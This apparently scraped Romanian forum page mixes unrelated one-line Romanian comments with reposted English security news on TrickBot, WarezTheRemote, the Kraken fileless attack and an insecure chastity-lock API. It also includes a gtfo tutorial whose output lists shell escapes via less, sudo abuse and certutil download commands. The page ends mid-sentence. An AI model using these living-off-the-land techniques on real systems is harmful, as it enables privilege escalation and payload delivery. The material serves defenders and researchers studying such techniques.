Kev

ca sa va treaca On: in general se dau bani inainte sa se schimbe casetele, si la caini si la fotbal (la toate sporturile)

Microsoft successfully argued in court against the use of Windows SDKs inside malware code, a precedent it would be able to use again and again in future botnet crackdowns. The TrickBot botnet has survived a takedown attempt orchestrated by a coalition of tech companies on Monday. TrickBot command and control (C&C) servers and domains seized yesterday have been replaced with new infrastructure earlier today, multiple sources in the infosec community have told ZDNet. Sources from companies monitoring TrickBot activity described the takedown's effects as "temporal" and "limited," but praised Microsoft and its partners for the effort, regardless of its current results. While some companies agreed to go on the record, ZDNet decided to refrain from using any of our interviewed source's names to avoid indirectly criticizing the entities involved in the takedown (Microsoft's Defender team, FS-ISAC, ESET, Lumen's Black Lotus Labs, NTT, and Broadcom's cyber-security division Symantec). But in private interviews, even security researchers at ESET, Microsoft, and Symantec told ZDNet that they never expected to take down TrickBot for good in one quick hit. One source described Monday's action as "kneecapping" the botnet rather than "cutting its head. ZDNet was told that even from the early planning phases, the involved parties expected TrickBot to make a comeback, and planned ahead for follow-up actions. This multi-phased approach to disrupting TrickBot is a direct result of the botnet's complex infrastructure, much of which runs on bulletproof hosting systems, which are unresponsive or slow to react to takedown attempts. In a threat intelligence bulletin with restricted distribution shared with ZDNet on Monday night, security firm Intel471 noted that TrickBot began moving C&C servers to the EmerDNS decentralized domain name system as a way to counter the ongoing takedown attempt. By Tuesday morning, the botnet's infrastructure had recovered, although it wasn't as active as in previous days. EVEN A FAILED TAKEDOWN ATTEMPT HAS ITS EFFECTS But speaking to ZDNet, sources said the disruption efforts weren't only focused on taking down TrickBot servers, which they knew would be temporary and would have no long-standing effects. Other goals were also discussed and taken into consideration. This included incurring adding additional costs to TrickBot authors and delaying current malware operations, such as ransomware attacks that are usually delivered using TrickBot as a conduit. Furthermore, security researchers also sought to damage TrickBot's reputation in cybercrime circles. TrickBot is one of today's Top 3 most successful Malware-as-a-Service (MaaS) operations on the cybercrime underworld. The botnet uses email spam campaigns to infect computers, downloads its malware, and then steals data from infected hosts that it later resells for profit. But the botnet also rents access to infected computers to other criminal groups, which also accounts for a significant portion of its profits. These "customers" include operators of infostealer trojans, BEC fraud groups, ransomware gangs, and even nation-state hacking groups. Microsoft and its partners wanted to damage this reputation among other cybercrime gangs and send a message that TrickBot isn't as untouchable as its "customers" might think. A botnet that can be disrupted risks exposing and compromising the operations of "customers," some of which may not want to be exposed to law enforcement tracking. A botnet that can be disrupted isn't reliable businesswise, especially for TrickBot's regular customers who are paying considerable fees to have access to infected systems at precise times. Researchers hope the slap TrickBot received this week reverberates across its business. A NEW LEGAL PRECEDENT But the TrickBot takedown also played another role, one that was invisible to most observers. The court case that preceded the takedown also helped Microsoft set a new legal precedent. In court, the OS maker argued that the TrickBot malware abused Windows code for malicious purposes, against the terms of service of the standard Windows software development kit (SDK), on which all Windows apps are used. Microsoft successfully argued that TrickBot was infringing on Microsoft's copyright of its own code by copying and using its SDKs for malicious purposes. Some might call this approach to taking down a botnet as petty or pedantic, but it's also a genius legal move. In previous cases, Microsoft or law enforcement usually had to present evidence and be ready to prove that the malware was incurring financial damages to victims in a certain jurisdiction, steps that usually meant identifying and contacting victims. The new approach focused on the misuse of its Windows SDK code is both easier to prove and argue, but it can also be used in any jurisdiction, providing Microsoft's legal team with a more agile approach to going after malware gangs — which is why Microsoft is likely to reuse it for faster crackdown in the future. Via zdnet.com

Bateriile Li-ion se încarcã singure la cãldurã

GTFOBins and LOLBAS are projects with the goal of documenting native binaries that can be abused and exploited by attackers on Unix and Windows systems, respectfully. These binaries are often used for "living off the land" techniques during post-exploitation. In this tutorial, we will be exploring gtfo, a tool used to search these projects for abusable binaries right from the command line. What Is Living Off the Land? Living off the land is a method used by attackers that utilizes existing tools and features in the target environment to further the attack. Goals can include privilege escalation, lateral movement, persistence, data exfiltration, spawning reverse shells, and more. This technique is great at flying under the radar and can be difficult for defenders to detect. Since many of these tools are used for legitimate administration, it can be hard to separate malicious activity from normal activity. Windows PowerShell is a good example. Despite being abused by attackers for years, it is still a common vector during post-exploitation. Another compelling reason that malicious actors prefer to use native binaries is cost. In general, it is much more expensive and risky to develop custom tools that are more likely to be flagged to begin with. Especially when living off the land techniques can become wormable, it's in an attacker's best interest to use what is already there. GTFOBins and LOLBAS are no doubt excellent resources when it comes to abusing native binaries, but sometimes it can be tedious to switch back and forth from the browser. Gtfo is a tool written in Python that aims to provide all the information these resources have to offer from the terminal's convenience. Installing Gtfo To install gtfo, the first thing we need to do is clone the GitHub repository: ~# git clone https://github.com/mzfr/gtfo Cloning into 'gtfo'... remote: Enumerating objects: 56, done. remote: Counting objects: 100% (56/56), done. remote: Compressing objects: 100% (42/42), done. remote: Total 56 (delta 21), reused 42 (delta 12), pack-reused 0 Unpacking objects: 100% (56/56), 317.52 KiB | 1.65 MiB/s, done. Next, change into the newly created directory: ~# cd gtfo Gtfo uses Python 3, so we need to use pip3 here. It can be installed with the following command: ~/gtfo# apt install python3-pip Now we can install the required dependencies: ~/gtfo# pip3 install -r requirements.txt Requirement already satisfied: pyyaml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (5.3.1) Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2.23.0) Collecting bs4 Downloading bs4-0.0.1.tar.gz (1.1 kB) Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 4)) (4.5.2) Collecting requests_cache Downloading requests_cache-0.5.2-py2.py3-none-any.whl (22 kB) Requirement already satisfied: tabulate in /usr/lib/python3/dist-packages (from -r requirements.txt (line 6)) (0.8.2) Requirement already satisfied: pyfiglet in /usr/lib/python3/dist-packages (from -r requirements.txt (line 7)) (0.8.post0) Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from bs4->-r requirements.txt (line 3)) (4.9.1) Building wheels for collected packages: bs4 Building wheel for bs4 (setup.py) ... done Created wheel for bs4: filename=bs4-0.0.1-py3-none-any.whl size=1272 sha256=2a0036256cc5bc7b34622abe1b56ff080f2829a0ae7cc2c858b079e0c9172e71 Stored in directory: /root/.cache/pip/wheels/75/78/21/68b124549c9bdc94f822c02fb9aa3578a669843f9767776bca Successfully built bs4 Installing collected packages: bs4, requests-cache Successfully installed bs4-0.0.1 requests-cache-0.5.2 Now we can run gtfo with the dot-slash command: ~/gtfo# ./gtfo _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ usage: gtfo [-h] (-b BINS | -e EXE | -w LINK | -ls {bins,exe}) gtfo: error: one of the arguments -b/--bins -e/--exe -w/--link -ls/--list is required This gives us some short usage information. We should be able to run this tool from anywhere on our system by creating a symbolic link to the executable. Navigate to /usr/local/bin to get started: ~/gtfo# cd /usr/local/bin/ And create a symbolic link called gtfo to the executable in the directory we cloned from GitHub earlier: ~/usr/local/bin# ln -s ~/NB/gtfo/gtfo gtfo Now we can run gtfo from any directory. Using Gtfo to Search Binaries To view the help menu and optional arguments, use the -h flag: ~# gtfo -h _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ usage: gtfo [-h] (-b BINS | -e EXE | -w LINK | -ls {bins,exe}) optional arguments: -h, --help show this help message and exit -b BINS, --bins BINS Search binaries on GTFOBins -e EXE, --exe EXE Search Windows exe on LOLBAS -w LINK, --link LINK gtfobins link to the page -ls {bins,exe}, --list {bins,exe} list all the available binaries We can list the Unix binaries with the -ls switch followed by the bins argument: ~# gtfo -ls bins _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ ╒═════════════╤═══════════╤═══════════╤════════════╤═══════════╤══════════════╤═════════════╤══════════╤═══════════════════╤══════════╕ │ apt-get │ apt │ aria2c │ arp │ ash │ awk │ base32 │ base64 │ bash │ bpftrace │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ bundler │ busctl │ busybox │ byebug │ cancel │ cat │ chmod │ chown │ chroot │ cobc │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ cp │ cpan │ cpulimit │ crash │ crontab │ csh │ curl │ cut │ dash │ date │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ dd │ dialog │ diff │ dmesg │ dmsetup │ dnf │ docker │ dpkg │ easy_install │ eb │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ ed │ emacs │ env │ eqn │ expand │ expect │ facter │ file │ find │ finger │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ flock │ fmt │ fold │ ftp │ gawk │ gcc │ gdb │ gem │ genisoimage │ gimp │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ git │ grep │ gtester │ hd │ head │ hexdump │ highlight │ iconv │ iftop │ ionice │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ ip │ irb │ jjs │ journalctl │ jq │ jrunscript │ ksh │ ksshell │ ld.so │ ldconfig │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ less │ logsave │ look │ ltrace │ lua │ lwp-download │ lwp-request │ mail │ make │ man │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ mawk │ more │ mount │ mtr │ mv │ mysql │ nano │ nawk │ nc │ nice │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ nl │ nmap │ node │ nohup │ nroff │ nsenter │ od │ openssl │ pdb │ perl │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ pg │ php │ pic │ pico │ pip │ pkexec │ pry │ puppet │ python │ rake │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ readelf │ red │ redcarpet │ restic │ rlogin │ rlwrap │ rpm │ rpmquery │ rsync │ ruby │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ run-mailcap │ run-parts │ rview │ rvim │ scp │ screen │ script │ sed │ service │ setarch │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ sftp │ shuf │ smbclient │ socat │ soelim │ sort │ sqlite3 │ ssh │ start-stop-daemon │ stdbuf │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ strace │ strings │ su │ sysctl │ systemctl │ tac │ tail │ tar │ taskset │ tclsh │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ tcpdump │ tee │ telnet │ tftp │ time │ timeout │ tmux │ top │ ul │ unexpand │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ uniq │ unshare │ uudecode │ uuencode │ valgrind │ vi │ view │ vim │ watch │ wget │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ whois │ wish │ xargs │ xxd │ xz │ yelp │ yum │ zip │ zsh │ zsoelim │ ├─────────────┼───────────┼───────────┼────────────┼───────────┼──────────────┼─────────────┼──────────┼───────────────────┼──────────┤ │ zypper │ │ │ │ │ │ │ │ │ │ ╘═════════════╧═══════════╧═══════════╧════════════╧═══════════╧══════════════╧═════════════╧══════════╧═══════════════════╧══════════╛ This outputs a nice table containing all the abusable binaries that can be found on GTFOBins. To list Windows binaries, use the -ls switch followed by the exe argument: ~# gtfo -ls exe _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ ╒═══════════════════╤══════════════════════╤═════════════════════════════════╤══════════════════════════════╤═══════════════════════╤════════════════════════╤══════════════════════════════╕ │ At.exe │ Atbroker.exe │ Bash.exe │ Bitsadmin.exe │ CertReq.exe │ Certutil.exe │ Cmd.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Cmdkey.exe │ Cmstp.exe │ Control.exe │ Csc.exe │ Cscript.exe │ Desktopimgdownldr.exe │ Dfsvc.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Diantz.exe │ Diskshadow.exe │ Dnscmd.exe │ Esentutl.exe │ Eventvwr.exe │ Expand.exe │ │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Extexport.exe │ Extrac32.exe │ Findstr.exe │ Forfiles.exe │ Ftp.exe │ GfxDownloadWrapper.exe │ Gpscript.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Hh.exe │ Ie4uinit.exe │ Ieexec.exe │ Ilasm.exe │ Infdefaultinstall.exe │ Installutil.exe │ Jsc.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Makecab.exe │ Mavinject.exe │ Microsoft.Workflow.Compiler.exe │ Mmc.exe │ MpCmdRun.exe │ Msbuild.exe │ Msconfig.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Msdt.exe │ Mshta.exe │ Msiexec.exe │ Netsh.exe │ Odbcconf.exe │ Pcalua.exe │ Pcwrun.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Pktmon.exe │ Presentationhost.exe │ Print.exe │ Psr.exe │ Rasautou.exe │ Reg.exe │ Regasm.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Regedit.exe │ Regini.exe │ Register-cimprovider.exe │ Regsvcs.exe │ Regsvr32.exe │ Replace.exe │ Rpcping.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Rundll32.exe │ Runonce.exe │ Runscripthelper.exe │ Sc.exe │ Schtasks.exe │ Scriptrunner.exe │ SyncAppvPublishingServer.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Ttdinject.exe │ Tttracer.exe │ vbc.exe │ Verclsid.exe │ Wab.exe │ Wmic.exe │ Wscript.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Wsreset.exe │ Xwizard.exe │ Advpack.dll │ Comsvcs.dll │ Ieadvpack.dll │ Ieaframe.dll │ Mshtml.dll │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Pcwutl.dll │ Setupapi.dll │ Shdocvw.dll │ Shell32.dll │ Syssetup.dll │ Url.dll │ Zipfldr.dll │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ AgentExecutor.exe │ Appvlp.exe │ Bginfo.exe │ Cdb.exe │ csi.exe │ Devtoolslauncher.exe │ dnx.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Dotnet.exe │ Dxcap.exe │ Excel.exe │ Mftrace.exe │ Msdeploy.exe │ msxsl.exe │ ntdsutil.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Powerpnt.exe │ rcsi.exe │ Sqldumper.exe │ Sqlps.exe │ SQLToolsPS.exe │ Squirrel.exe │ te.exe │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Tracker.exe │ Update.exe │ vsjitdebugger.exe │ Winword.exe │ Wsl.exe │ CL_Mutexverifiers.ps1 │ CL_Invocation.ps1 │ ├───────────────────┼──────────────────────┼─────────────────────────────────┼──────────────────────────────┼───────────────────────┼────────────────────────┼──────────────────────────────┤ │ Manage-bde.wsf │ Pubprn.vbs │ Slmgr.vbs │ Syncappvpublishingserver.vbs │ winrm.vbs │ Pester.bat │ │ ╘═══════════════════╧══════════════════════╧═════════════════════════════════╧══════════════════════════════╧═══════════════════════╧════════════════════════╧══════════ This outputs a table containing all the abusable binaries that can be found on LOLBAS. To get information about a specific binary, use the -b flag. Here we can see information about the Unix less command: ~# gtfo -b less _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ Code: less /etc/profile !/bin/sh Type: shell Code: VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile v Type: shell Code: less file_to_read Type: file-read # This is useful when `less` is used as a pager by another binary to read a different file. Code: less /etc/profile :e file_to_read Type: file-read Code: echo DATA | less sfile_to_write q Type: file-write # This invokes the default editor to edit the file. The file must exist. Code: less file_to_write v Type: file-write Code: sudo less /etc/profile !/bin/sh Type: sudo Code: ./less file_to_read Type: suid In the output, we can see the type of abuse and the corresponding code. This example contains code for sudo and SUID, to get a shell, and to read and write files. We can also get the link to the GTFOBins page with the -w option: ~# gtfo -w less _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ --> less --------------------> https://gtfobins.github.io//gtfobins/less To view information on a particular Windows binary, use the -e flag. Please note this is case sensitive and the extension is required. Here, we can see information about the Certutil.exe program: ~# gtfo -e Certutil.exe _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ # Download and save 7zip to disk in the current folder. CMD: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe Category: Download Privileges: User # Download and save 7zip to disk in the current folder. CMD: certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe Category: Download Privileges: User # Download and save a PS1 file to an Alternate Data Stream (ADS). CMD: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt Category: ADS Privileges: User # Command to encode a file using Base64 CMD: certutil -encode inputFileName encodedOutputFileName Category: Encode Privileges: User # Command to decode a Base64 encoded file. CMD: certutil -decode encodedInputFileName decodedOutputFileName Category: Decode Privileges: User We can see the category, command, and required privileges in the output. This example contains commands to encrypt, decrypt, and download files. We can also get the link to the LOLBAS page with the -w option: ~# gtfo -w Certutil.exe _ _ _ __ _| || |_ | | / _| |_ __ _| __ _| |_| |_ ___ _| || |_ / _` | __| _/ _ \ |_ __ _| | (_| | |_| || (_) | |_||_| \__, |\__|_| \___/ __/ | |___/ --> Certutil.exe --------------------> https://lolbas-project.github.io//lolbas/Binaries/Certutil Wrapping Up This tutorial taught us about the GTFOBins and LOLBAS projects and how incredibly useful they can be for information on native binaries on Unix and Windows systems. We also explored gtfo, a tool that can search these resources right from the command line. As you can see, gtfo can be quite useful for searching abusable binaries without ever having to leave the terminal. Source

daca are IMEI-ul in blacklist, il poate considera complice (suspect), il ia la intrebari de la cine l-a cumparat, etc..

PCAP-ATTACK Container of PCAP captures mapped to the relevant attack tactic. Files Directory of \PCAP-ATTACK-master 10/09/2020 11:37 AM <DIR> . 10/09/2020 11:37 AM <DIR> .. 09/25/2020 10:52 AM <DIR> Command and Control 09/25/2020 10:52 AM <DIR> CredAccess 09/25/2020 10:52 AM <DIR> Discovery 09/25/2020 10:52 AM <DIR> Evasion 09/25/2020 10:52 AM <DIR> Lateral Movement 09/25/2020 10:52 AM <DIR> PrivEsc 09/25/2020 10:52 AM 80 README.md 2 File(s) 80 bytes Directory of \PCAP-ATTACK-master\Command and Control 09/25/2020 10:52 AM <DIR> . 09/25/2020 10:52 AM <DIR> .. 09/25/2020 10:52 AM 36,173 cmds over dns txt queries and reponses.pcap 09/25/2020 10:52 AM 4,975,932 rdp_tunneling_meterpreter_portfwd.pcapng 2 File(s) 5,012,105 bytes Directory of \PCAP-ATTACK-master\CredAccess 09/25/2020 10:52 AM <DIR> . 09/25/2020 10:52 AM <DIR> .. 09/25/2020 10:52 AM 11,060 CA_kerbrute_passwordspray_kerberos_AS-REQ.pcapng 09/25/2020 10:52 AM 16,596 CA_LM_SpoolSample_SMB_BiAuth.pcapng 09/25/2020 10:52 AM 11,340 CA_masterkey_rpc_protectedstorage.pcapng 09/25/2020 10:52 AM 5,424 CredAccess_BackupMasterKey_LSARPC_43_RetrievePrivateData.pcapng 09/25/2020 10:52 AM 25,940 DCShadow_add_primarygroupid_512_to_std_account.pcapng 09/25/2020 10:52 AM 11,024 DCSync_krbtgt_dcerpc_smb.pcapng 09/25/2020 10:52 AM 18,980 Remote_Pwd_Reset_RPC_Admin_Mimikatz_PostZeroLogon.pcapng 7 File(s) 100,364 bytes Directory of \PCAP-ATTACK-master\Discovery 09/25/2020 10:52 AM <DIR> . 09/25/2020 10:52 AM <DIR> .. 09/25/2020 10:52 AM 11,004 Discovery_dcerp_srvsvc_NetShareEnum.pcapng 09/25/2020 10:52 AM 47,148 Discovery_impacket_rpcdump.pcapng 09/25/2020 10:52 AM 14,132 Discovery_privgroups_domain_admins_samr_lookupnames_req.pcapng 09/25/2020 10:52 AM 96,300 Discovery_PsLoggedOn_remotelocalusers_enum_winreg_lsarpc_dcerpc_smb.pcapng 09/25/2020 10:52 AM 152,444 discovery_scan_dcerpc_endpoint_mapper.pcapng 5 File(s) 321,028 bytes Directory of \PCAP-ATTACK-master\Evasion 09/25/2020 10:52 AM <DIR> . 09/25/2020 10:52 AM <DIR> .. 09/25/2020 10:52 AM 7,824 DE_byt3bl33d3r_remote_eventservice_crash.pcapng 1 File(s) 7,824 bytes Directory of \PCAP-ATTACK-master\Lateral Movement 09/25/2020 10:52 AM <DIR> . 09/25/2020 10:52 AM <DIR> .. 09/25/2020 10:52 AM 811,252 CVE-2020-1472_Zerologon_RPC_NetLogon_NullChallenge_SecChan_6_from_nonDC_to_DC.pcapng 09/25/2020 10:52 AM 70,940 Exploit_DoS_cve-2020-1350_dns_sig_maxspl0it.pcapng 09/25/2020 10:52 AM 19,188 LM_dcom_mmc20.application_dcerpc.pcapng 09/25/2020 10:52 AM 13,500 lm_mimikazt_skeleton_kerberos_rc4_etype.pcapng 09/25/2020 10:52 AM 207,816 LM_psexec_smb_dcerpc_epm_svcctl.pcapng 09/25/2020 10:52 AM 267,732 LM_rdp_sharprdp.pcapng 09/25/2020 10:52 AM 22,088 LM_smbexec_smb_dcerpc_svcctl_epm.pcapng 09/25/2020 10:52 AM 109,992 LM_WMI_ProcessCallCreate.pcapng 09/25/2020 10:52 AM 73,776 zerologon_mimikatz_ntlm_privacy_scan_and_exploit_encrypted.pcapng 9 File(s) 1,596,284 bytes Directory of \PCAP-ATTACK-master\PrivEsc 09/25/2020 10:52 AM <DIR> . 09/25/2020 10:52 AM <DIR> .. 09/25/2020 10:52 AM 2,364 CVE-2020-0796_SMBGhost_PrivEsc_Loopback_traffic.pcapng 1 File(s) 2,364 bytes Total Files Listed: 27 File(s) 7,040,049 bytes 20 Dir(s) 22,506,397,696 bytes free Download PCAP-ATTACK-master.zip or git clone https://github.com/sbousseaden/PCAP-ATTACK.git Source

incearca-ti norocul in sectiunea Locuri de munca

Researchers disclosed the ‘WarezTheRemote’ attack, affecting Comcast’s XR11 voice remote control. A security flaw allowing attackers to remotely snoop in on victims’ private conversations was found to stem from an unexpected device – their TV remotes. The flaw stems from Comcast’s XR11, a popular voice-activated remote control for cable TV, which has more than 18 million units deployed across the U.S. The remote enables users to say the channel or content they want to watch rather than keying in the channel number or typing to search. However, researchers found a serious vulnerability in the remote, allowing attackers to take it over (details below). Worse, the ensuing attack, dubbed WarezTheRemote, does not require any interaction from the victim — it’s extremely cheap to carry out (a hacker merely needs a low-priced RF transceiver and antenna), and can be launched remotely (from up to 65 feet away). Researchers worked with Comcast’s security team after finding the flaw and fixes have been released that remediate the issues that make the attack possible – however, in a disclosure post on Wednesday, they stressed that the incident is an important reminder of the inherent security and privacy issues plaguing even the least-suspected internet of things (IoT) devices. The Flaw By extensively reverse-engineering both the remote’s firmware and the software it communicates with on the set-top box, researchers found an error in the way the remote handles incoming RF packets. To understand the flaw, it’s first important to look at how XR11 voice remotes work. The remote communicates with the television set-top box over the RF4CE (Radio Frequency for Consumer Electronics) protocol. RF4CE, which is a subset of the Zigbee family of power-saving RF protocols, has a feature called, straightforwardly, “security” — which should encrypt the contents of RF4CE packets to bar attackers from injecting malicious packets into the connection. However, in the XR11’s implementation, the RF4CE “security” feature is set on a packet-by-packet basis. Each packet has a “flags” byte, and when one of its bits is set to 1, its contents will be encrypted – and if the bit isn’t set, the packet will be sent in plaintext. The vulnerability lies in the fact that the original XR11 firmware didn’t verify that responses to encrypted requests are encrypted as well, said researchers. That means an attacker within RF range (about 65 feet away) could view requests from the remote in plaintext – allowing them to easily formulate a malicious response to that request. The Attack Researchers say that the remote’s firmware queries the box it is paired with – be default – for a new firmware once every 24 hours. That means in a real-life attack, a bad actor would need to wait for the a firmware upgrade query to occur. Following this initial exchange, the remote then sends out a series of requests asking for the contents of the firmware image, chunk by chunk. The order these chunk requests are sent in is entirely predictable – meaning attackers can easily guess which chunk of the firmware the remote is asking for. Researchers said an attacker would only need a basic RF transceiver, which is cheap – a Texas Instruments CC2531 costs only a few dollars for a whole development kit – as well as a cheap 2 dBi antenna (researchers used a 16dBi antenna for better results). Researchers disclosed the vulnerability to Comcast April 21, and Comcast began to release a patch on July 24. On Sept. 24, Comcast confirmed that all devices were patched. “Nothing is more important than keeping our customers safe and secure, and we appreciate Guardicore for bringing this issue to our attention,” said Comcast in a press statement. Source

Security researchers uncovered a new attack dubbed Kraken that uses injected its payload into the Windows Error Reporting service to evade detection. The WerFault.exe is a service that shows some error happened with the operating system, Windows features, or applications, victims would assume some error happen, but attackers stealthy execute malware using the process. Fileless Malware Attack Security researchers from Malwarebytes observed a new attack with a zip file containing a malicious document dubbed “Compensation manual.doc” and it has an image tag that points to the website “yourrighttocompensation[.]com”. Inside the malicious document file, it includes a modified version of CactusTorch(shellcode launcher) VBA module that leverages the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from VBScript. The new maliciously created Windows Error Reporting service will before some anti-analysis checks such as not running in an analysis/sandbox environment or a debugger. Once it feels safe after anti-analysis it decrypts and loads the final payload int he maliciously created Windows Error Reporting service. The payload is hosted on the website asia- kotoba[.]net in the name of favicon. At the time of the report, the target URL was down, so that Malwarebytes unable to retrieve this shellcode for further analysis. Researchers believe the attack relates to APT32, but not having enough evidence to attribute this attack. Via gbhackers.com

In Afganistan, Italia, Spania..(tarile calde), am vrut noi sa inventam husa pt telefon din celule solare fotovoltaice, insa prea tarziu PS: in Spania s-a scos restrictia

Image Credits: Qiui Just because almost every gadget or appliance can be connected to the internet, doesn’t mean they should be. Outages can render these “smart” devices useless, and many use weak security that can make them easily hackable. And as security researchers recently found out, the consequences of having a major security flaw in one popular sex toy could have been catastrophic for tens of thousands of users. U.K.-based security firm Pen Test Partners said the flaw in the Qiui Cellmate internet-connected chastity lock, billed as the “world’s first app controlled chastity device,” could have allowed anyone to remotely and permanently lock in the user’s penis. The Cellmate chastity lock works by allowing a trusted partner to remotely lock and unlock the chamber over Bluetooth using a mobile app. That app communicates with the lock using an API. But that API was left open and without a password, allowing anyone to take complete control of any user’s device. Because the chamber was designed to lock with a metal ring underneath the user’s penis, the researchers said it may require the intervention of a heavy-duty bolt cutter or an angle grinder to free the user. Alex Lomas, a researcher at Pen Test Partners, said in a blog post that an attacker could lock “everyone in or out” very quickly. “There is no emergency override function either, so if you’re locked in there’s no way out,” he wrote. The unsecured API also allowed access to the private messages and the precise location from the user’s app. A vulnerability in the Qiui’s Cellmate app allowed anyone unauthenticated access to the private messages and location of any user. The lock on the chastity device can also be remotely controlled, researchers said. (Image: Qiui) TechCrunch first learned of the vulnerability in June. The researchers contacted Qiui, based in China, about the flawed API. Taking the vulnerable API offline would have locked in anyone using the device. The developer pushed out a new API for new users, but left the unsecured API up for existing users. Qiui chief executive Jake Guo told TechCrunch that a fix would arrive in August, but that deadline came and went. “We are a basement team,” he said. In a follow-up email explaining the risks to users, Guo said: 